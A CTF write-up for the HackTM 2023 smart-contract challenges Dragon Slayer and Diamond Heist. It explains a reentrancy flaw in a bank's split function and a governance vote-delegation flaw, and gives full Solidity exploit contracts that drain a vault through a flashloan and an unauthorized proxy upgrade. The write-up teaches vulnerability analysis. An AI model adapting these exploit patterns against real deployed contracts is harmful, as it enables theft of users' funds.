Exploiting smart contracts in HackTM 2023 CTF Quals
This CTF had two smart contract challenges, Dragon Slayer and Diamond Heist.
Dragon Slayer
Prove yourself a true champion. Kill the mighty dragon and earn the right to call yourself a dragon slayer.
nc 34.141.16.87 30100
The contracts for this challenge can be found in dragon_slayer_contracts.zip
.
Overview
We are provided with the following contracts:
Setup.sol
: The contract used to setup the challenge and check if the challenge is solved.Item.sol
: An ERC-1155 contract that implements items equippable by our knight.GoldCoin.sol
: An ERC-20 contract that implements ERC-20 tokens, known as gold coins, which are used as fungible currency.BankNote.sol
: An ERC-721 contract that implements ERC-721 tokens, known as bank notes.
Shop.sol
implements a contract to buy and sell items in exchange for gold coins. It sells the following items:
itemId |
itemType |
attack |
defence |
price |
---|---|---|---|---|
1 | ItemType.SWORD |
1 | 0 | 10 ether |
2 | ItemType.SHIELD |
0 | 1 | 10 ether |
3 | ItemType.SWORD |
1,000,000 | 0 | 1_000_000 ether |
4 | ItemType.SHIELD |
0 | 1,000,000 | 1_000_000 ether |
Dragon.sol
implements a contract that represents the enemy character, which has the following attributes:
health
: 1,000,000clawAttack
andfireAttack
: 1,000,000defense
: 500,000
Knight.sol
implements a contract that represents our player, which also has its own health
, attack
and defence
attributes. The relevant functions in the contract are:
fightDragon()
: Fights the dragon - receive an attack from the dragon and then attack it.buyItem()
,sellItem()
: Buy and sell items from the shop. Items that are bought are equipped, which changes theattack
anddefence
attributes of the knight.bankDeposit()
,bankTransferPartial()
: Functions for the knight to interact with theBank
contract. Note that there are also other functions not listed here that interact with theBank
contract.
Bank.sol
implements a Bank
contract, which facillitates the exchange of gold coins for a non-fungible bank note. It has the following relevant functions:
deposit()
: Deposit an amount of gold coins for a bank note.withdraw()
: Burn a bank note to withdraw its amount of gold coins.merge()
: Merge multiple bank notes into a new bank note.split()
: Split a single bank note into multiple new bank notes.transferPartial()
: Transfer an amount of gold coins from one bank note to another.
At the start of the challenge, the knight has only 10 ether
gold coins. The knight is also equipped with items 1
and 2
, thus he only has 1 attack
and 1 defense
.
Through the Setup
contract, we are able to claim ownership of the knight:
function claim() external {
require(!claimed, "ALREADY_CLAIMED");
claimed = true;
knight.transferOwnership(msg.sender);
}
To solve the challenge, we have to reduce the dragon’s health to 0 while our knight still has health:
function isSolved() external view returns (bool) {
return knight.health() > 0 && knight.dragon().health() == 0;
}
Essentially, we have to fight the dragon with our knight and defeat it. However, due to the dragon’s high health, attack and defense attributes, the knight has to purchase and equip items 3
and 4
before fighting the dragon.
However, items 3
and 4
cost a total of 2_000_000 ether
gold coins, which is way more than what we have initially. If only there was a way to create gold coins out of thin air…
The vulnerability
In the BankNote
contract, the mint()
function uses _safeMint()
:
function mint(address to, uint256 tokenId) public onlyOwner {
_safeMint(to, tokenId);
}
safeMint()
checks if the receiving address is capable of receiving ERC-721 tokens before minting the token. According to OpenZeppelin’s documentation:
If
to
refers to a smart contract, it must implementIERC721Receiver.onERC721Received
, which is called upon a safe transfer.
This means that if the receiving address is a smart contract, it has to implement an onERC721Received()
function, which is expected to return this.onERC721Received.selector
.
In OpenZeppelin’s ERC-721 implementation, whenever a token is minted to a contract, _safeMint()
calls _checkOnERC721Received()
, which invokes the onERC721Received()
function of the receiving contract. As such, when mint()
is called in the BankNote
contract, execution flow is passed to the receiving contract temporarily before the bank note is minted.
With this knowledge, we can spot a vulnerability in the split()
function in Bank.sol
:
function split(uint bankNoteIdFrom, uint[] memory amounts) external {
uint totalValue;
require(bankNote.ownerOf(bankNoteIdFrom) == msg.sender, "NOT_OWNER");
for (uint i = 0; i < amounts.length; i++) {
uint value = amounts[i];
_ids.increment();
uint bankNoteId = _ids.current();
bankNote.mint(msg.sender, bankNoteId);
bankNoteValues[bankNoteId] = value;
totalValue += value;
}
require(totalValue == bankNoteValues[bankNoteIdFrom], "NOT_ENOUGH");
bankNote.burn(bankNoteIdFrom);
bankNoteValues[bankNoteIdFrom] = 0;
}
Notice the following:
- If
msg.sender
is a contract,bankNote.mint(msg.sender, bankNoteId)
allowsmsg.sender
to hijack execution flow temporarily through itsonERC721Received()
function. - The function mints all resulting bank notes with their values from
amounts
before checking that the value ofbankNoteIdFrom
is equal to the sum ofamounts
, as seen in therequire
statement.
As the function performs minting before the check, it violates the Checks-Effects-Interactions pattern, making it vulnerable to re-entrancy. This can be exploited to temporarily own any amount of gold coins:
- An attacker contract calls
split()
with the following arguments:bankNoteIdFrom
- a bank note with no value owned by the attacker. We’ll call this bankNoteA.amount
-[x, 0]
, wherex
can be any arbitrary amount of gold coins the attacker needs.
- In the first iteration of the for-loop in
split()
:- When
bankNote.mint()
is called, the attacker does nothing in theonERC721Received()
callback. - A new bank note is minted to the attacker and assigned the value
x
. We’ll call this bankNoteB.
- When
- By the second iteration, the attacker owns bankNoteB, which has a value of
goldCoinAmount
. Thus, whenbankNote.mint()
is called again, the attacker does the following in theonERC721Received()
callback:- Withdraws bankNoteB in exchange for
x
amount of gold coins and does whatever he wants with them. - Before
onERC721Received()
returns, the attacker has to depositx
amount of gold coins and transfer them to bankNoteA.
- Withdraws bankNoteB in exchange for
- When the for-loop terminates, the check at the end of
split()
passes as bothtotalValue
andbankNoteValues[bankNoteIDFrom]
equal tox
.
For those who are familiar with smart contracts, this looks very similar to a flash loan. We can borrow any arbitrary amount of gold coins provided that we return them at the end of the function.
Solving the challenge
With the vulnerability above, solving the challenge becomes trivial. We create an attacker contract which does the following:
- Obtain a bank note: As our attacker contract has no gold coins, it cannot call
deposit()
. Instead, we callmerge()
with an empty array:// Get an empty banknote (id 1) uint[] memory bankNoteIDsFrom = new uint[](0); bank.merge(bankNoteIDsFrom);
- Exploit the vulnerability: We then call
split()
with our empty bank note andamount = [2_000_000 ether, 0]
to gain2_000_000 ether
worth of gold coins:// Abuse bank.split() to "borrow" 2,000,000 ether uint[] memory amounts = new uint[](2); amounts[0] = goldCoinAmount; bank.split(1, amounts);
- Fight the dragon: In the second callback to
onERC721Received()
, we do the following:- Withdraw our
2_000_000 ether
gold coins from the bank note. - Transfer all gold coins to the knight.
- Knight buys items
3
and4
with all the gold coins. - Knight fights the dragon until its health is 0.
- Knight sells items
3
and4
to gain back the2_000_000 ether
gold coins. - Knight deposits the gold coins and transfers it to the attacker contract’s bank note.
- Withdraw our
Exploit code
Exploit.sol
, which contains the full exploit code, is as shown:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./dragon_slayer_contracts/Setup.sol";
import "./dragon_slayer_contracts/Knight.sol";
import "./dragon_slayer_contracts/Dragon.sol";
import "./dragon_slayer_contracts/Bank.sol";
import "./dragon_slayer_contracts/GoldCoin.sol";
contract Exploit {
// Challenge contracts
Setup public setup;
Knight public knight;
Dragon public dragon;
Bank public bank;
GoldCoin public goldCoin;
// Counts the number of times onERC721Received is called
uint256 hitCount;
// Amount of gold coins required to solve the challenge
uint256 constant goldCoinAmount = 2_000_000 ether;
constructor(Setup _setup) {
// Initialize challenge contracts
setup = _setup;
knight = setup.knight();
dragon = knight.dragon();
bank = knight.bank();
goldCoin = bank.goldCoin();
// Claim ownership of Knight contract
setup.claim();
}
function exploit() public {
// Get an empty banknote (id 1)
uint[] memory bankNoteIDsFrom = new uint[](0);
bank.merge(bankNoteIDsFrom);
// Abuse bank.split() to "borrow" 2,000,000 ether
uint[] memory amounts = new uint[](2);
amounts[0] = goldCoinAmount;
bank.split(1, amounts);
}
function onERC721Received(address, address, uint256, bytes calldata) public returns (bytes4) {
// Only perform the exploit on the third onERC721Received call
if (hitCount == 2) {
// Withdraw all gold coins from banknote (id 2)
bank.withdraw(2);
// Transfer all coins to Knight
goldCoin.transfer(address(knight), goldCoinAmount);
// Buy items 3 and 4
knight.buyItem(3);
knight.buyItem(4);
// Fight Dragon until its health is 0
while (dragon.health() > 0) {
knight.fightDragon();
}
// Sell items 3 and 4
knight.sellItem(3);
knight.sellItem(4);
// Deposit gold coins into a new banknote (id 4)
knight.bankDeposit(goldCoinAmount);
// Transfer all gold coins back to this contract's banknote (id 1)
knight.bankTransferPartial(4, goldCoinAmount, 1);
}
// Increment the counter by 1
hitCount += 1;
return this.onERC721Received.selector;
}
}
Diamond Heist
Salty Pretzel Swap DAO has recently come out with their new flashloan vaults. They have deposited all of their 100 Diamonds in one of their vaults.
Your mission, should you choose to accept it, is to break the vault and steal all of the diamonds. This would be one of the greatest heists of all time.
This text will self-destruct in ten seconds.
Good luck.
nc 34.141.16.87 30200
The contracts for this challenge can be found in diamond_heist_contracts.zip
.
Overview
We are provided with the following contracts:
Setup.sol
: The contract used to setup the challenge and check if the challenge is solved.Diamond.sol
: An ERC-20 contract that implements ERC-20 tokens known as diamonds.Burner.sol
: A contract which contains aselfdestruct
call to itself. (This contract is not important)
SaltyPretzel.sol
is an ERC-20 contract that implements a governance token contract. Essentially, owning more SaltyPretzel tokens would give a user more votes, which is useful in a system that implements governance. This contract will be explained more in-depth later on.
Vault.sol
implements a Vault
contract that is used to store diamonds. It is meant to be an proxy implementation contract as it follows the UUPSUpgradeable pattern. It has the following interesting functions:
governanceCall()
: Allows the vault’s owner or anyone with sufficient votes to execute any of this contract’s functions.flashloan()
: A function to take out a flash loan of any token.
VaultFactory.sol
contains a contract that deploys Vault
as an ERC1967Proxy
.
At the start of the challenge, 100 diamonds are transferred to the vault after it is initialized, as seen in Setup.sol
:
uint constant public DIAMONDS = 100;
// ...
constructor () {
vaultFactory = new VaultFactory();
vault = vaultFactory.createVault(keccak256("The tea in Nepal is very hot."));
diamond = new Diamond(DIAMONDS);
saltyPretzel = new SaltyPretzel();
vault.initialize(address(diamond), address(saltyPretzel));
diamond.transfer(address(vault), DIAMONDS);
}
Using the claim()
function, we are able to mint 100 ether
worth of SaltyPretzel tokens for ourselves. This can only be done once:
uint constant public SALTY_PRETZELS = 100 ether;
// ...
function claim() external {
require(!claimed);
claimed = true;
saltyPretzel.mint(msg.sender, SALTY_PRETZELS);
}
To solve the challenge, the Setup
contract must have a balance of 100 diamonds:
function isSolved() external view returns (bool) {
return diamond.balanceOf(address(this)) == DIAMONDS;
}
As all the diamonds were transferred to the vault at the start of the challenge, we have to find a way to drain the vault of its 100 diamonds…
The vulnerability
The SaltyPretzel
contract implements its own accounting system to keep track of everyone’s voting power. Users are also able to delegate their votes to another user, giving the delegatee more voting power.
At the core of this vote accounting system are the _delegate()
and _moveDelegates()
functions:
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
_delegate()
first sets the delegatee
of delegator
, then calls _moveDelegates()
to transfer the balance of delegator
(ie. his votes) from the old delegatee to the new one.
_moveDelegates()
then subtracts amount
votes from srcRep
, which in this case, would be the old delegatee, and adds them to dstRep
, which would be the new delegatee. Notice the following checks:
- If
srcRep == dstRep
oramount == 0
, the function does not do anything. - If
srcRep == address(0)
, the votes are not deducted fromsrcRep
. - If
dstRep == address(0)
, the votes are not added todstRep
.
Users can also change their delegatee
through the delegate()
function:
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
While looking at how _moveDelegates()
is used, I noticed the following in mint()
:
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
When new tokens are minted, the contract has to “create” votes to increase the voting power of the recipient. To do so, mint()
calls _moveDelegates()
with srcRep
as address(0)
, which does not deduct votes from srcRep
but simply adds them to dstRep
.
This gave me an idea - if we could set our delegatee
to address(0)
, we would essentially be able to repeatedly create votes out of thin air, similar to mint()
. Setting our delegatee
to address(0)
can be achieved by doing the following:
- Transfer our SaltyPretzel tokens to another contract to make our balance 0.
- Call
delegate()
withaddress(0)
as ourdelegatee
. This works as_delegate()
would call_moveDelegates()
withamount = 0
, thus no transfer of votes occurs.
After setting delegatee
to address(0)
, we are able to increase the voting power of any other user through the following:
- Transfer our SaltyPretzel tokens back to our address.
- Call
delegate()
, withdelegatee
as the user we wish to add votes to. Note thatdelegatee
cannot be our own address assrcRep
cannot be equal todstRep
in_moveDelegates()
, as mentioned above.
Thereforce, by repeatedly setting our delegatee
to address(0)
, then regaining our tokens and calling delegate()
, we are able to increase anyone’s voting power by any arbitrary amount.
Solving the challenge
Now that we have the ability to gain infinite votes, how do we solve the challenge?
As Vault
is a UUPSUpgradeable
proxy contract, it inherits the an upgradeTo()
function, which can be used to upgrade the implementation contract of Vault
:
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}
The _authorizeUpgrade()
function is overridden in the current implementation of Vault
:
function _authorizeUpgrade(address) internal override view {
require(msg.sender == owner() || msg.sender == address(this));
require(IERC20(diamond).balanceOf(address(this)) == 0);
}
To change the implementation of Vault
to our own contract, the following two requirements have to be met:
msg.sender
has to be either owner orVault
itself.Vault
must have no diamonds.
Since the owner of Vault
is the Setup
contract, the first criteria can only be achieved by calling upgradeTo()
through the Vault
itself. Luckily for us, Vault
contains a governanceCall()
function:
function governanceCall(bytes calldata data) external {
require(msg.sender == owner() || saltyPretzel.getCurrentVotes(msg.sender) >= AUTHORITY_THRESHOLD);
(bool success,) = address(this).call(data);
require(success);
}
As we now have the ability to gain infinite votes, we can make Vault
call any of its functions through governanceCall()
. To meet the first requirement, we simply use governanceCall()
to call upgradeTo()
, which would make msg.sender
the Vault
itself.
To fulfil the second criteria, we utilize the flashloan()
function:
function flashloan(address token, uint amount, address receiver) external {
uint balanceBefore = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(receiver, amount);
IERC3156FlashBorrower(receiver).onFlashLoan(msg.sender, token, amount, 0, "");
uint balanceAfter = IERC20(token).balanceOf(address(this));
require(balanceBefore == balanceAfter);
}
We take out a flashloan to borrow all of Vault
’s diamonds, and then make the governanceCall() -> upgradeTo()
call in the onFlashLoan()
callback. This way, when upgradeTo()
is called, Vault
will temporarily have no diamonds.
Exploit code
The exploit code contains three contracts:
Exploit
mainly handles abusing the vulnerability to gain sufficient votes.VoteCollector
is used to solve the challenge after it has enough votes.FakeVault
is the new vault implementation used to drain the vault.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./diamond_heist_contracts/Setup.sol";
import "./diamond_heist_contracts/Vault.sol";
import "./diamond_heist_contracts/Diamond.sol";
import "./diamond_heist_contracts/SaltyPretzel.sol";
contract Exploit {
// Challenge contracts
Setup public setup;
Vault public vault;
SaltyPretzel public saltyPretzel;
constructor(Setup _setup) {
// Initialize challenge contracts
setup = _setup;
vault = setup.vault();
saltyPretzel = setup.saltyPretzel();
// Claim initial SaltyPretzel tokens
setup.claim();
}
function exploit() public {
// Create a contract contract to hoard votes
VoteCollector voteCollector = new VoteCollector(setup);
// Loop while VoteCollector has not enough votes
while (saltyPretzel.getCurrentVotes(address(voteCollector)) < vault.AUTHORITY_THRESHOLD()) {
// Add our votes to VoteCollector
saltyPretzel.delegate(address(voteCollector));
// Set our delegatee to address(0)
saltyPretzel.transfer(address(voteCollector), setup.SALTY_PRETZELS());
saltyPretzel.delegate(address(0));
// Regain our SaltyPretzel tokens
saltyPretzel.transferFrom(address(voteCollector), address(this), setup.SALTY_PRETZELS());
}
// When VoteCollector has enough votes, steal the vault's diamonds
voteCollector.stealDiamonds();
}
}
contract VoteCollector {
// Challenge contracts
Setup public setup;
Vault public vault;
Diamond public diamond;
SaltyPretzel public saltyPretzel;
constructor(Setup _setup) {
// Initialize challenge contracts
setup = _setup;
vault = setup.vault();
diamond = setup.diamond();
saltyPretzel = setup.saltyPretzel();
// Allow the Exploit contract to transfer all of this contract's SaltyPretzel tokens
saltyPretzel.approve(msg.sender, type(uint256).max);
}
function stealDiamonds() public {
// Borrow a flashloan to temporarily set the vault's diamond balance to 0
vault.flashloan(address(diamond), setup.DIAMONDS(), address(this));
// After the vault is upgraded to FakeVault, transfer its diamonds to Setup
FakeVault(address(vault)).transferDiamonds(address(setup));
}
function onFlashLoan(
address,
address,
uint256,
uint256,
bytes calldata
) external returns(bytes32) {
// Create a FakeVault contract
FakeVault fakeVault = new FakeVault();
// Upgrade the implementation of vault to FakeVault
bytes memory data = abi.encodeWithSelector(vault.upgradeTo.selector, address(fakeVault));
vault.governanceCall(data);
// Return the borrowed diamonds to vault
diamond.transfer(address(vault), setup.DIAMONDS());
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
contract FakeVault is Initializable, UUPSUpgradeable, OwnableUpgradeable {
// Keep the diamond state variable
Diamond diamond;
// Function to transfer all of the vault's diamonds
function transferDiamonds(address to) public {
diamond.transfer(to, diamond.balanceOf(address(this)));
}
// _authorizeUpgrade has to be implemented for UUPSUpgradeable contracts
function _authorizeUpgrade(address) internal override view {}
}